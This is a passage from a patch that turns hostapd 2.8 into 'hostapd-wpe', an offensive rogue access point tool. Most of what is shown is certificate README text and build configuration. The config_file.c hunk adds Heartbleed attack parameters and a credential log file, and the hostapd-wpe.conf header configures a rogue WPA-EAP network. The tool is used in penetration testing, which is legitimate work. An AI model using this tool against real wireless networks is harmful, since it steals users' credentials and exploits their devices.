-+clean:
-+	@rm -f *~ *old client.csr client.key client.crt client.p12 client.pem
-+
-+#
-+#	Make a target that people won't run too often.
-+#
-+destroycerts:
-+	rm -f *~ dh *.csr *.crt *.p12 *.der *.pem *.key index.txt* \
-+			serial*  *\.0 *\.1
-diff -rupN hostapd-2.8/hostapd/certs/README hostapd-2.8-wpe/hostapd/certs/README
---- hostapd-2.8/hostapd/certs/README	1969-12-31 19:00:00.000000000 -0500
-+++ hostapd-2.8-wpe/hostapd/certs/README	2019-04-22 17:02:28.633850096 -0400
-@@ -0,0 +1,226 @@
-+  This directory contains scripts to create the server certificates.
-+To make a set of default (i.e. test) certificates, simply type:
-+
-+$ ./bootstrap
-+
-+  The "openssl" command will be run against the sample configuration
-+files included here, and will make a self-signed certificate authority
-+(i.e. root CA), and a server certificate.  This "root CA" should be
-+installed on any client machine needing to do EAP-TLS, PEAP, or
-+EAP-TTLS.
-+
-+  The Microsoft "XP Extensions" will be automatically included in the
-+server certificate.  Without those extensions Windows clients will
-+refuse to authenticate to FreeRADIUS.
-+
-+  The root CA and the "XP Extensions" file also contain a crlDistributionPoints
-+attribute. The latest release of Windows Phone needs this to be present
-+for the handset to validate the RADIUS server certificate. The RADIUS
-+server must have the URI defined but the CA need not have...however it
-+is best practice for a CA to have a revocation URI. Note that whilst
-+the Windows Mobile client cannot actually use the CRL when doing 802.1X
-+it is recommended that the URI be an actual working URL and contain a
-+revocation format file as there may be other OS behaviour at play and
-+future OSes that may do something with that URI.
-+
-+  In general, you should use self-signed certificates for 802.1x (EAP)
-+authentication.  When you list root CAs from other organisations in
-+the "ca_file", you permit them to masquerade as you, to authenticate
-+your users, and to issue client certificates for EAP-TLS.
-+
-+  If FreeRADIUS was configured to use OpenSSL, then simply starting
-+the server in root in debugging mode should also create test
-+certificates, i.e.:
-+
-+$ radiusd -X
-+
-+  That will cause the EAP-TLS module to run the "bootstrap" script in
-+this directory.  The script will be executed only once, the first time
-+the server has been installed on a particular machine.  This bootstrap
-+script SHOULD be run on installation of any pre-built binary package
-+for your OS.  In any case, the script will ensure that it is not run
-+twice, and that it does not over-write any existing certificates.
-+
-+  If you already have CA and server certificates, rename (or delete)
-+this directory, and create a new "certs" directory containing your
-+certificates.  Note that the "make install" command will NOT
-+over-write your existing "raddb/certs" directory, which means that the
-+"bootstrap" command will not be run.
-+
-+
-+		NEW INSTALLATIONS OF FREERADIUS
-+
-+
-+  We suggest that new installations use the test certificates for
-+initial tests, and then create real certificates to use for normal
-+user authentication.  See the instructions below for how to create the
-+various certificates.  The old test certificates can be deleted by
-+running the following command:
-+
-+$ rm -f *.pem *.der *.csr *.crt *.key *.p12 serial* index.txt*
-+
-+  Then, follow the instructions below for creating real certificates.
-+
-+  Once the final certificates have been created, you can delete the
-+"bootstrap" command from this directory, and delete the
-+"make_cert_command" configuration from the "tls" sub-section of
-+eap.conf.
-+
-+  If you do not want to enable EAP-TLS, PEAP, or EAP-TTLS, then delete
-+the relevant sub-sections from the "eap.conf" file.
-+
-+
-+		MAKING A ROOT CERTIFICATE
-+
-+
-+$ vi ca.cnf
-+
-+  Edit the "input_password" and "output_password" fields to be the
-+  password for the CA certificate.
-+
-+  Edit the certificate_authority section to have the correct values
-+  for your country, state, etc.
-+
-+$ make ca.pem
-+
-+  This step creates the CA certificate.
-+
-+$ make ca.der
-+
-+  This step creates the DER format of the self-signed certificate,
-+  which is can be imported into Windows.
-+
-+
-+		MAKING A SERVER CERTIFICATE
-+
-+
-+$ vi server.cnf
-+
-+  Edit the "input_password" and "output_password" fields to be the
-+  password for the server certificate.
-+
-+  Edit the server section to have the correct values for your
-+  country, state, etc.  Be sure that the commonName field here is
-+  different from the commonName for the CA certificate.
-+
-+$ make server.pem
-+
-+  This step creates the server certificate.
-+
-+  If you have an existing certificate authority, and wish to create a
-+  certificate signing request for the server certificate, edit
-+  server.cnf as above, and type the following command.
-+
-+$ make server.csr
-+
-+  You will have to ensure that the certificate contains the XP
-+  extensions needed by Microsoft clients.
-+
-+
-+		MAKING A CLIENT CERTIFICATE
-+
-+
-+  Client certificates are used by EAP-TLS, and optionally by EAP-TTLS
-+and PEAP.  The following steps outline how to create a client
-+certificate that is signed by the server certificate created above.
-+You will have to have the password for the server certificate in the
-+"input_password" and "output_password" fields of the server.cnf file.
-+
-+
-+$ vi client.cnf
-+
-+  Edit the "input_password" and "output_password" fields to be the
-+  password for the client certificate.  You will have to give these
-+  passwords to the end user who will be using the certificates.
-+
-+  Edit the client section to have the correct values for your
-+  country, state, etc.  Be sure that the commonName field here is
-+  the User-Name that will be used for logins!
-+
-+$ make client.pem
-+
-+  The users certificate will be in "emailAddress.pem",
-+  i.e. "user@example.com.pem".
-+
-+  To create another client certificate, just repeat the steps for
-+  making a client certificate, being sure to enter a different login
-+  name for "commonName", and a different password.
-+
-+
-+		PERFORMANCE
-+
-+
-+  EAP performance for EAP-TLS, TTLS, and PEAP is dominated by SSL
-+  calculations.  That is, a normal system can handle PAP
-+  authentication at a rate of 10k packets/s.  However, SSL involves
-+  RSA calculations, which are very expensive.  To benchmark your system,
-+  do:
-+
-+$ openssl speed rsa
-+
-+  or
-+
-+$ openssl speed rsa2048
-+
-+  to test 2048 bit keys.
-+
-+  A 1GHz system will likely do 30 calculations/s.  A 2GHz system may
-+  do 50 calculations/s, or more.  That number is also the number of
-+  authentications/s that can be done for EAP-TLS (or TTLS, or PEAP).
-+
-+
-+		COMPATIBILITY
-+
-+The certificates created using this method are known to be compatible
-+with ALL operating systems.  Some common issues are:
-+
-+  - Windows requires certain OIDs in the certificates.  If it doesn't
-+    see them, it will stop doing EAP.  The most visible effect is
-+    that the client starts EAP, gets a few Access-Challenge packets,
-+    and then a little while later re-starts EAP.  If this happens, see
-+    the FAQ, and the comments in raddb/eap.conf for how to fix it.
-+
-+  - Windows requires the root certificates to be on the client PC.
-+    If it doesn't have them, you will see the same issue as above.
-+
-+  - Windows XP post SP2 has a bug where it has problems with
-+    certificate chains.  i.e. if the server certificate is an
-+    intermediate one, and not a root one, then authentication will
-+    silently fail, as above.
-+
-+  - Some versions of Windows CE cannot handle 4K RSA certificates.
-+    They will (again) silently fail, as above.
-+
-+  - In none of these cases will Windows give the end user any
-+    reasonable error message describing what went wrong.  This leads
-+    people to blame the RADIUS server.  That blame is misplaced.
-+
-+  - Certificate chains of more than 64K bytes are known to not work.
-+    This is a problem in FreeRADIUS.  However, most clients cannot
-+    handle 64K certificate chains.  Most Access Points will shut down
-+    the EAP session after about 50 round trips, while 64K certificate
-+    chains will take about 60 round trips.  So don't use large
-+    certificate chains.  They will only work after everyone upgrade
-+    everything in the network.
-+
-+  - All other operating systems are known to work with EAP and
-+    FreeRADIUS.  This includes Linux, *BSD, Mac OS X, Solaris,
-+    Symbian, along with all known embedded systems, phones, WiFi
-+    devices, etc.
-+
-+  - Someone needs to ask Microsoft to please stop making life hard for
-+    their customers.
-+
-+
-+		SECURITY CONSIDERATIONS
-+
-+The default certificate configuration files uses MD5 for message
-+digests, to maintain compatibility with network equipment that
-+supports only this algorithm.
-+
-+MD5 has known weaknesses and is discouraged in favour of SHA1 (see
-+http://www.kb.cert.org/vuls/id/836068 for details). If your network
-+equipment supports the SHA1 signature algorithm, we recommend that you
-+change the "ca.cnf", "server.cnf", and "client.cnf" files to specify
-+the use of SHA1 for the certificates. To do this, change the
-+'default_md' entry in those files from 'md5' to 'sha1'.
-diff -rupN hostapd-2.8/hostapd/certs/README.wpe hostapd-2.8-wpe/hostapd/certs/README.wpe
---- hostapd-2.8/hostapd/certs/README.wpe	1969-12-31 19:00:00.000000000 -0500
-+++ hostapd-2.8-wpe/hostapd/certs/README.wpe	2019-04-22 17:02:28.633850096 -0400
-@@ -0,0 +1,13 @@
-+# Certificate creation for Hostapd-WPE #
-+########################################
-+
-+Usage:
-+
-+make clean
-+./bootstrap
-+make install
-+
-+Notes:
-+- Windows 10 (and possibly any Windows starting from Vista) will fail EAP
-+   if certificates signed with MD5 are used. 
-+- Generated certificates used a SHA256 signature.
-diff -rupN hostapd-2.8/hostapd/certs/server.cnf hostapd-2.8-wpe/hostapd/certs/server.cnf
---- hostapd-2.8/hostapd/certs/server.cnf	1969-12-31 19:00:00.000000000 -0500
-+++ hostapd-2.8-wpe/hostapd/certs/server.cnf	2019-04-22 17:02:28.633850096 -0400
-@@ -0,0 +1,54 @@
-+ ca 
-+default_ca		= CA_default
-+
-+ CA_default 
-+dir			= ./
-+certs			= $dir
-+crl_dir			= $dir/crl
-+database		= $dir/index.txt
-+new_certs_dir		= $dir
-+certificate		= $dir/server.pem
-+serial			= $dir/serial
-+crl			= $dir/crl.pem
-+private_key		= $dir/server.key
-+RANDFILE		= $dir/.rand
-+name_opt		= ca_default
-+cert_opt		= ca_default
-+default_days		= 60
-+default_crl_days	= 30
-+default_md		= sha256
-+preserve		= no
-+policy			= policy_match
-+
-+ policy_match 
-+countryName		= match
-+stateOrProvinceName	= match
-+organizationName	= match
-+organizationalUnitName	= optional
-+commonName		= supplied
-+emailAddress		= optional
-+
-+ policy_anything 
-+countryName		= optional
-+stateOrProvinceName	= optional
-+localityName		= optional
-+organizationName	= optional
-+organizationalUnitName	= optional
-+commonName		= supplied
-+emailAddress		= optional
-+
-+ req 
-+prompt			= no
-+distinguished_name	= server
-+default_bits		= 2048
-+input_password		= whatever
-+output_password		= whatever
-+
-+server
-+countryName		= FR
-+stateOrProvinceName	= Radius
-+localityName		= Somewhere
-+organizationName	= Example Inc.
-+emailAddress		= admin@example.org
-+commonName		= "Example Server Certificate"
-+
-diff -rupN hostapd-2.8/hostapd/certs/xpextensions hostapd-2.8-wpe/hostapd/certs/xpextensions
---- hostapd-2.8/hostapd/certs/xpextensions	1969-12-31 19:00:00.000000000 -0500
-+++ hostapd-2.8-wpe/hostapd/certs/xpextensions	2019-04-22 17:02:28.633850096 -0400
-@@ -0,0 +1,24 @@
-+#
-+#  File containing the OIDs required for Windows.
-+#
-+#  http://support.microsoft.com/kb/814394/en-us
-+#
-+ xpclient_ext
-+extendedKeyUsage = 1.3.6.1.5.5.7.3.2
-+crlDistributionPoints = URI:http://www.example.com/example_ca.crl
-+
-+ xpserver_ext
-+extendedKeyUsage = 1.3.6.1.5.5.7.3.1
-+crlDistributionPoints = URI:http://www.example.com/example_ca.crl
-+
-+#
-+#  Add this to the PKCS#7 keybag attributes holding the client's private key
-+#  for machine authentication.
-+#
-+#  the presence of this OID tells Windows XP that the cert is intended
-+#  for use by the computer itself, and not by an end-user.
-+#
-+#  The other solution is to use Microsoft's web certificate server
-+#  to generate these certs.
-+#
-+# 1.3.6.1.4.1.311.17.2
-diff -rupN hostapd-2.8/hostapd/.config hostapd-2.8-wpe/hostapd/.config
---- hostapd-2.8/hostapd/.config	1969-12-31 19:00:00.000000000 -0500
-+++ hostapd-2.8-wpe/hostapd/.config	2019-04-22 17:02:28.633850096 -0400
-@@ -0,0 +1,345 @@
-+# Wireless Pawn Edition HostAPd configuration file
-+#
-+# This file lists the configuration options that are used when building the
-+# hostapd binary. All lines starting with # are ignored. Configuration option
-+# lines must be commented out complete, if they are not to be included, i.e.,
-+# just setting VARIABLE=n is not disabling that variable.
-+#
-+# This file is included in Makefile, so variables like CFLAGS and LIBS can also
-+# be modified from here. In most cass, these lines should use += in order not
-+# to override previous values of the variables.
-+
-+# Driver interface for Host AP driver
-+CONFIG_DRIVER_HOSTAP=y
-+
-+# Driver interface for wired authenticator
-+CONFIG_DRIVER_WIRED=y
-+
-+# Driver interface for drivers using the nl80211 kernel interface
-+CONFIG_DRIVER_NL80211=y
-+
-+# QCA vendor extensions to nl80211
-+CONFIG_DRIVER_NL80211_QCA=y
-+
-+# driver_nl80211.c requires libnl. If you are compiling it yourself
-+# you may need to point hostapd to your version of libnl.
-+#
-+#CFLAGS += -I$<path to libnl include files>
-+#LIBS += -L$<path to libnl library files>
-+
-+# Use libnl v2.0 (or 3.0) libraries.
-+#CONFIG_LIBNL20=y
-+
-+# Use libnl 3.2 libraries (if this is selected, CONFIG_LIBNL20 is ignored)
-+CONFIG_LIBNL32=y
-+
-+
-+# Driver interface for FreeBSD net80211 layer (e.g., Atheros driver)
-+#CONFIG_DRIVER_BSD=y
-+#CFLAGS += -I/usr/local/include
-+#LIBS += -L/usr/local/lib
-+#LIBS_p += -L/usr/local/lib
-+#LIBS_c += -L/usr/local/lib
-+
-+# Driver interface for no driver (e.g., RADIUS server only)
-+#CONFIG_DRIVER_NONE=y
-+
-+# IEEE 802.11F/IAPP
-+CONFIG_IAPP=y
-+
-+# WPA2/IEEE 802.11i RSN pre-authentication
-+CONFIG_RSN_PREAUTH=y
-+
-+# PeerKey handshake for Station to Station Link (IEEE 802.11e DLS)
-+CONFIG_PEERKEY=y
-+
-+# IEEE 802.11w (management frame protection)
-+CONFIG_IEEE80211W=y
-+
-+# Integrated EAP server
-+CONFIG_EAP=y
-+
-+# EAP Re-authentication Protocol (ERP) in integrated EAP server
-+CONFIG_ERP=y
-+
-+# EAP-MD5 for the integrated EAP server
-+CONFIG_EAP_MD5=y
-+
-+# EAP-TLS for the integrated EAP server
-+CONFIG_EAP_TLS=y
-+
-+# EAP-MSCHAPv2 for the integrated EAP server
-+CONFIG_EAP_MSCHAPV2=y
-+
-+# EAP-PEAP for the integrated EAP server
-+CONFIG_EAP_PEAP=y
-+
-+# EAP-GTC for the integrated EAP server
-+CONFIG_EAP_GTC=y
-+
-+# EAP-TTLS for the integrated EAP server
-+CONFIG_EAP_TTLS=y
-+
-+# EAP-SIM for the integrated EAP server
-+CONFIG_EAP_SIM=y
-+
-+# EAP-AKA for the integrated EAP server
-+CONFIG_EAP_AKA=y
-+
-+# EAP-AKA' for the integrated EAP server
-+# This requires CONFIG_EAP_AKA to be enabled, too.
-+CONFIG_EAP_AKA_PRIME=y
-+
-+# EAP-PAX for the integrated EAP server
-+CONFIG_EAP_PAX=y
-+
-+# EAP-PSK for the integrated EAP server (this is _not_ needed for WPA-PSK)
-+CONFIG_EAP_PSK=y
-+
-+# EAP-pwd for the integrated EAP server (secure authentication with a password)
-+CONFIG_EAP_PWD=y
-+
-+# EAP-SAKE for the integrated EAP server
-+CONFIG_EAP_SAKE=y
-+
-+# EAP-GPSK for the integrated EAP server
-+CONFIG_EAP_GPSK=y
-+# Include support for optional SHA256 cipher suite in EAP-GPSK
-+CONFIG_EAP_GPSK_SHA256=y
-+
-+# EAP-FAST for the integrated EAP server
-+# Note: If OpenSSL is used as the TLS library, OpenSSL 1.0 or newer is needed
-+# for EAP-FAST support. Older OpenSSL releases would need to be patched, e.g.,
-+# with openssl-0.9.8x-tls-extensions.patch, to add the needed functions.
-+CONFIG_EAP_FAST=y
-+
-+# Wi-Fi Protected Setup (WPS)
-+CONFIG_WPS=y
-+# Enable UPnP support for external WPS Registrars
-+CONFIG_WPS_UPNP=y
-+# Enable WPS support with NFC config method
-+CONFIG_WPS_NFC=y
-+
-+# EAP-IKEv2
-+CONFIG_EAP_IKEV2=y
-+
-+# Trusted Network Connect (EAP-TNC)
-+CONFIG_EAP_TNC=y
-+
-+# EAP-EKE for the integrated EAP server
-+#CONFIG_EAP_EKE=y
-+
-+# PKCS#12 (PFX) support (used to read private key and certificate file from
-+# a file that usually has extension .p12 or .pfx)
-+CONFIG_PKCS12=y
-+
-+# RADIUS authentication server. This provides access to the integrated EAP
-+# server from external hosts using RADIUS.
-+CONFIG_RADIUS_SERVER=y
-+
-+# Build IPv6 support for RADIUS operations
-+CONFIG_IPV6=y
-+
-+# IEEE Std 802.11r-2008 (Fast BSS Transition)
-+CONFIG_IEEE80211R=y
-+
-+# Use the hostapd's IEEE 802.11 authentication (ACL), but without
-+# the IEEE 802.11 Management capability (e.g., FreeBSD/net80211)
-+CONFIG_DRIVER_RADIUS_ACL=y
-+
-+# IEEE 802.11n (High Throughput) support
-+CONFIG_IEEE80211N=y
-+
-+# Wireless Network Management (IEEE Std 802.11v-2011)
-+# Note: This is experimental and not complete implementation.
-+CONFIG_WNM=y
-+
-+# IEEE 802.11ac (Very High Throughput) support
-+CONFIG_IEEE80211AC=y
-+
-+# Remove debugging code that is printing out debug messages to stdout.
-+# This can be used to reduce the size of the hostapd considerably if debugging
-+# code is not needed.
-+#CONFIG_NO_STDOUT_DEBUG=y
-+
-+# Add support for writing debug log to a file: -f /tmp/hostapd.log
-+# Disabled by default.
-+#CONFIG_DEBUG_FILE=y
-+
-+# Add support for sending all debug messages (regardless of debug verbosity)
-+# to the Linux kernel tracing facility. This helps debug the entire stack by
-+# making it easy to record everything happening from the driver up into the
-+# same file, e.g., using trace-cmd.
-+#CONFIG_DEBUG_LINUX_TRACING=y
-+
-+# Remove support for RADIUS accounting
-+#CONFIG_NO_ACCOUNTING=y
-+
-+# Remove support for RADIUS
-+#CONFIG_NO_RADIUS=y
-+
-+# Remove support for VLANs
-+#CONFIG_NO_VLAN=y
-+
-+# Enable support for fully dynamic VLANs. This enables hostapd to
-+# automatically create bridge and VLAN interfaces if necessary.
-+#CONFIG_FULL_DYNAMIC_VLAN=y
-+
-+# Use netlink-based kernel API for VLAN operations instead of ioctl()
-+# Note: This requires libnl 3.1 or newer.
-+#CONFIG_VLAN_NETLINK=y
-+
-+# Remove support for dumping internal state through control interface commands
-+# This can be used to reduce binary size at the cost of disabling a debugging
-+# option.
-+#CONFIG_NO_DUMP_STATE=y
-+
-+# Enable tracing code for developer debugging
-+# This tracks use of memory allocations and other registrations and reports
-+# incorrect use with a backtrace of call (or allocation) location.
-+#CONFIG_WPA_TRACE=y
-+# For BSD, comment out these.
-+#LIBS += -lexecinfo
-+#LIBS_p += -lexecinfo
-+#LIBS_c += -lexecinfo
-+
-+# Use libbfd to get more details for developer debugging
-+# This enables use of libbfd to get more detailed symbols for the backtraces
-+# generated by CONFIG_WPA_TRACE=y.
-+#CONFIG_WPA_TRACE_BFD=y
-+# For BSD, comment out these.
-+#LIBS += -lbfd -liberty -lz
-+#LIBS_p += -lbfd -liberty -lz
-+#LIBS_c += -lbfd -liberty -lz
-+
-+# hostapd depends on strong random number generation being available from the
-+# operating system. os_get_random() function is used to fetch random data when
-+# needed, e.g., for key generation. On Linux and BSD systems, this works by
-+# reading /dev/urandom. It should be noted that the OS entropy pool needs to be
-+# properly initialized before hostapd is started. This is important especially
-+# on embedded devices that do not have a hardware random number generator and
-+# may by default start up with minimal entropy available for random number
-+# generation.
-+#
-+# As a safety net, hostapd is by default trying to internally collect
-+# additional entropy for generating random data to mix in with the data
-+# fetched from the OS. This by itself is not considered to be very strong, but
-+# it may help in cases where the system pool is not initialized properly.
-+# However, it is very strongly recommended that the system pool is initialized
-+# with enough entropy either by using hardware assisted random number
-+# generator or by storing state over device reboots.
-+#
-+# hostapd can be configured to maintain its own entropy store over restarts to
-+# enhance random number generation. This is not perfect, but it is much more
-+# secure than using the same sequence of random numbers after every reboot.
-+# This can be enabled with -e<entropy file> command line option. The specified
-+# file needs to be readable and writable by hostapd.
-+#
-+# If the os_get_random() is known to provide strong random data (e.g., on
-+# Linux/BSD, the board in question is known to have reliable source of random
-+# data from /dev/urandom), the internal hostapd random pool can be disabled.
-+# This will save some in binary size and CPU use. However, this should only be
-+# considered for builds that are known to be used on devices that meet the
-+# requirements described above.
-+#CONFIG_NO_RANDOM_POOL=y
-+
-+# Should we use poll instead of select? Select is used by default.
-+#CONFIG_ELOOP_POLL=y
-+
-+# Should we use epoll instead of select? Select is used by default.
-+#CONFIG_ELOOP_EPOLL=y
-+
-+# Should we use kqueue instead of select? Select is used by default.
-+#CONFIG_ELOOP_KQUEUE=y
-+
-+# Select TLS implementation
-+# openssl = OpenSSL (default)
-+# gnutls = GnuTLS
-+# internal = Internal TLSv1 implementation (experimental)
-+# none = Empty template
-+#CONFIG_TLS=openssl
-+
-+# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.1)
-+# can be enabled to get a stronger construction of messages when block ciphers
-+# are used.
-+CONFIG_TLSV11=y
-+
-+# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.2)
-+# can be enabled to enable use of stronger crypto algorithms.
-+CONFIG_TLSV12=y
-+
-+# If CONFIG_TLS=internal is used, additional library and include paths are
-+# needed for LibTomMath. Alternatively, an integrated, minimal version of
-+# LibTomMath can be used. See beginning of libtommath.c for details on benefits
-+# and drawbacks of this option.
-+#CONFIG_INTERNAL_LIBTOMMATH=y
-+#ifndef CONFIG_INTERNAL_LIBTOMMATH
-+#LTM_PATH=/usr/src/libtommath-0.39
-+#CFLAGS += -I$(LTM_PATH)
-+#LIBS += -L$(LTM_PATH)
-+#LIBS_p += -L$(LTM_PATH)
-+#endif
-+# At the cost of about 4 kB of additional binary size, the internal LibTomMath
-+# can be configured to include faster routines for exptmod, sqr, and div to
-+# speed up DH and RSA calculation considerably
-+CONFIG_INTERNAL_LIBTOMMATH_FAST=y
-+
-+# Interworking (IEEE 802.11u)
-+# This can be used to enable functionality to improve interworking with
-+# external networks.
-+CONFIG_INTERWORKING=y
-+
-+# Hotspot 2.0
-+CONFIG_HS20=y
-+
-+# Enable SQLite database support in hlr_auc_gw, EAP-SIM DB, and eap_user_file
-+CONFIG_SQLITE=y
-+
-+# Enable Fast Session Transfer (FST)
-+CONFIG_FST=y
-+
-+# Enable CLI commands for FST testing
-+#CONFIG_FST_TEST=y
-+
-+# Testing options
-+# This can be used to enable some testing options (see also the example
-+# configuration file) that are really useful only for testing clients that
-+# connect to this hostapd. These options allow, for example, to drop a
-+# certain percentage of probe requests or auth/(re)assoc frames.
-+#
-+#CONFIG_TESTING_OPTIONS=y
-+
-+# Automatic Channel Selection
-+# This will allow hostapd to pick the channel automatically when channel is set
-+# to "acs_survey" or "0". Eventually, other ACS algorithms can be added in
-+# similar way.
-+#
-+# Automatic selection is currently only done through initialization, later on
-+# we hope to do background checks to keep us moving to more ideal channels as
-+# time goes by. ACS is currently only supported through the nl80211 driver and
-+# your driver must have survey dump capability that is filled by the driver
-+# during scanning.
-+#
-+# You can customize the ACS survey algorithm with the hostapd.conf variable
-+# acs_num_scans.
-+#
-+# Supported ACS drivers:
-+# * ath9k
-+# * ath5k
-+# * ath10k
-+#
-+# For more details refer to:
-+# http://wireless.kernel.org/en/users/Documentation/acs
-+#
-+CONFIG_ACS=y
-+
-+# Multiband Operation support
-+# These extentions facilitate efficient use of multiple frequency bands
-+# available to the AP and the devices that may associate with it.
-+CONFIG_MBO=y
-+
-+# Client Taxonomy
-+# Has the AP retain the Probe Request and (Re)Association Request frames from
-+# a client, from which a signature can be produced which can identify the model
-+# of client device like "Nexus 6P" or "iPhone 5s".
-+CONFIG_TAXONOMY=y
-diff -rupN hostapd-2.8/hostapd/config_file.c hostapd-2.8-wpe/hostapd/config_file.c
---- hostapd-2.8/hostapd/config_file.c	2019-04-21 03:10:22.000000000 -0400
-+++ hostapd-2.8-wpe/hostapd/config_file.c	2019-04-22 17:02:28.633850096 -0400
-@@ -22,7 +22,7 @@
- #include "ap/wpa_auth.h"
- #include "ap/ap_config.h"
- #include "config_file.h"
--
-+#include "wpe/wpe.h"
- 
- #ifndef CONFIG_NO_RADIUS
- #ifdef EAP_SERVER
-@@ -2504,6 +2504,22 @@ static int hostapd_config_fill(struct ho
- 		}
- 		bss->eapol_version = eapol_version;
- 		wpa_printf(MSG_DEBUG, "eapol_version=%d", bss->eapol_version);
-+#if OPENSSL_VERSION_NUMBER  < 0x10100000L
-+    } else if (os_strcmp(buf, "wpe_logfile") == 0) {
-+        wpe_conf.wpe_logfile = os_strdup(pos);
-+    } else if (os_strcmp(buf, "wpe_hb_send_before_handshake") == 0) {
-+        wpe_conf.wpe_hb_send_before_handshake = atoi(pos);
-+    } else if (os_strcmp(buf, "wpe_hb_send_before_appdata") == 0) {
-+        wpe_conf.wpe_hb_send_before_appdata = atoi(pos);
-+    } else if (os_strcmp(buf, "wpe_hb_send_after_appdata") == 0) {
-+        wpe_conf.wpe_hb_send_after_appdata = atoi(pos);
-+    } else if (os_strcmp(buf, "wpe_hb_payload_size") == 0) {
-+        wpe_conf.wpe_hb_payload_size = atoi(pos);
-+    } else if (os_strcmp(buf, "wpe_hb_num_repeats") == 0) {
-+        wpe_conf.wpe_hb_num_repeats = atoi(pos);
-+    } else if (os_strcmp(buf, "wpe_hb_num_tries") == 0) {
-+        wpe_conf.wpe_hb_num_tries = atoi(pos);
-+#endif /* #if OPENSSL_VERSION_NUMBER  < 0x10100000L */
- #ifdef EAP_SERVER
- 	} else if (os_strcmp(buf, "eap_authenticator") == 0) {
- 		bss->eap_server = atoi(pos);
-diff -rupN hostapd-2.8/hostapd/defconfig hostapd-2.8-wpe/hostapd/defconfig
---- hostapd-2.8/hostapd/defconfig	2019-04-21 03:10:22.000000000 -0400
-+++ hostapd-2.8-wpe/hostapd/defconfig	2019-04-22 17:02:28.633850096 -0400
-@@ -148,14 +148,14 @@ CONFIG_IPV6=y
- #CONFIG_DRIVER_RADIUS_ACL=y
- 
- # IEEE 802.11n (High Throughput) support
--#CONFIG_IEEE80211N=y
-+CONFIG_IEEE80211N=y
- 
- # Wireless Network Management (IEEE Std 802.11v-2011)
- # Note: This is experimental and not complete implementation.
- #CONFIG_WNM=y
- 
- # IEEE 802.11ac (Very High Throughput) support
--#CONFIG_IEEE80211AC=y
-+CONFIG_IEEE80211AC=y
- 
- # IEEE 802.11ax HE support
- # Note: This is experimental and work in progress. The definitions are still
-diff -rupN hostapd-2.8/hostapd/hostapd-wpe.conf hostapd-2.8-wpe/hostapd/hostapd-wpe.conf
---- hostapd-2.8/hostapd/hostapd-wpe.conf	1969-12-31 19:00:00.000000000 -0500
-+++ hostapd-2.8-wpe/hostapd/hostapd-wpe.conf	2019-04-22 17:02:28.633850096 -0400
-@@ -0,0 +1,2042 @@
-+# Configuration file for hostapd-wpe
-+
-+# Interface - Probably wlan0 for 802.11, eth0 for wired
-+interface=wlan0
-+
-+# May have to change these depending on build location
-+eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
-+ca_cert=/etc/hostapd-wpe/ca.pem
-+server_cert=/etc/hostapd-wpe/server.pem
-+private_key=/etc/hostapd-wpe/server.key
-+private_key_passwd=whatever
-+dh_file=/etc/hostapd-wpe/dh
-+
-+# 802.11 Options
-+ssid=hostapd-wpe
-+channel=1
-+
-+# WPE Options - Dont need to change these to make it all work 
-+#
-+# wpe_logfile=somefile              # (Default: ./hostapd-wpe.log) 
-+# wpe_hb_send_before_handshake=0    # Heartbleed True/False (Default: 1)
-+# wpe_hb_send_before_appdata=0      # Heartbleed True/False (Default: 0) 
-+# wpe_hb_send_after_appdata=0       # Heartbleed True/False (Default: 0)
-+# wpe_hb_payload_size=0             # Heartbleed 0-65535 (Default: 50000)
-+# wpe_hb_num_repeats=0              # Heartbleed 0-65535 (Default: 1)
-+# wpe_hb_num_tries=0                # Heartbleed 0-65535 (Default: 1)
-+
-+
-+# Dont mess with unless you know what you're doing
-+eap_server=1
-+eap_fast_a_id=101112131415161718191a1b1c1d1e1f
-+eap_fast_a_id_info=hostapd-wpe
-+eap_fast_prov=3
-+ieee8021x=1
-+pac_key_lifetime=604800
-+pac_key_refresh_time=86400
-+pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f
-+wpa=2
-+wpa_key_mgmt=WPA-EAP
-+wpa_pairwise=CCMP
-+rsn_pairwise=CCMP
-+
-+##############################################################################
-+# Everything below this line is pretty much the standard hostapd.conf
-+###############################################################################
-+
-+##### hostapd configuration file ##############################################
-+# Empty lines and lines starting with # are ignored
-+
-+# AP netdevice name (without 'ap' postfix, i.e., wlan0 uses wlan0ap for
-+# management frames with the Host AP driver); wlan0 with many nl80211 drivers
-+# Note: This attribute can be overridden by the values supplied with the '-i'
-+# command line parameter.
-+#interface=wlan0
-+
-+# In case of atheros and nl80211 driver interfaces, an additional
-+# configuration parameter, bridge, may be used to notify hostapd if the
-+# interface is included in a bridge. This parameter is not used with Host AP
-+# driver. If the bridge parameter is not set, the drivers will automatically
-+# figure out the bridge interface (assuming sysfs is enabled and mounted to
-+# /sys) and this parameter may not be needed.
-+#
-+# For nl80211, this parameter can be used to request the AP interface to be
-+# added to the bridge automatically (brctl may refuse to do this before hostapd
-+# has been started to change the interface mode). If needed, the bridge
-+# interface is also created.
-+#bridge=br0
-+
-+# Driver interface type (hostap/wired/none/nl80211/bsd);
-+# default: hostap). nl80211 is used with all Linux mac80211 drivers.
-+# Use driver=none if building hostapd as a standalone RADIUS server that does
-+# not control any wireless/wired driver.
-+# driver=hostap
-+
-+# Driver interface parameters (mainly for development testing use)
-+# driver_params=<params>
-+
-+# hostapd event logger configuration
-+#
-+# Two output method: syslog and stdout (only usable if not forking to
-+# background).
-+#
-+# Module bitfield (ORed bitfield of modules that will be logged; -1 = all
-+# modules):
-+# bit 0 (1) = IEEE 802.11
-+# bit 1 (2) = IEEE 802.1X
-+# bit 2 (4) = RADIUS
-+# bit 3 (8) = WPA
-+# bit 4 (16) = driver interface
-+# bit 5 (32) = IAPP
-+# bit 6 (64) = MLME
-+#
-+# Levels (minimum value for logged events):
-+#  0 = verbose debugging
-+#  1 = debugging
-+#  2 = informational messages
-+#  3 = notification
-+#  4 = warning
-+#
-+logger_syslog=-1
-+logger_syslog_level=2
-+logger_stdout=-1
-+logger_stdout_level=2
-+
-+# Interface for separate control program. If this is specified, hostapd
-+# will create this directory and a UNIX domain socket for listening to requests
-+# from external programs (CLI/GUI, etc.) for status information and
-+# configuration. The socket file will be named based on the interface name, so
-+# multiple hostapd processes/interfaces can be run at the same time if more
-+# than one interface is used.
-+# /var/run/hostapd is the recommended directory for sockets and by default,
-+# hostapd_cli will use it when trying to connect with hostapd.
-+ctrl_interface=/var/run/hostapd
-+
-+# Access control for the control interface can be configured by setting the
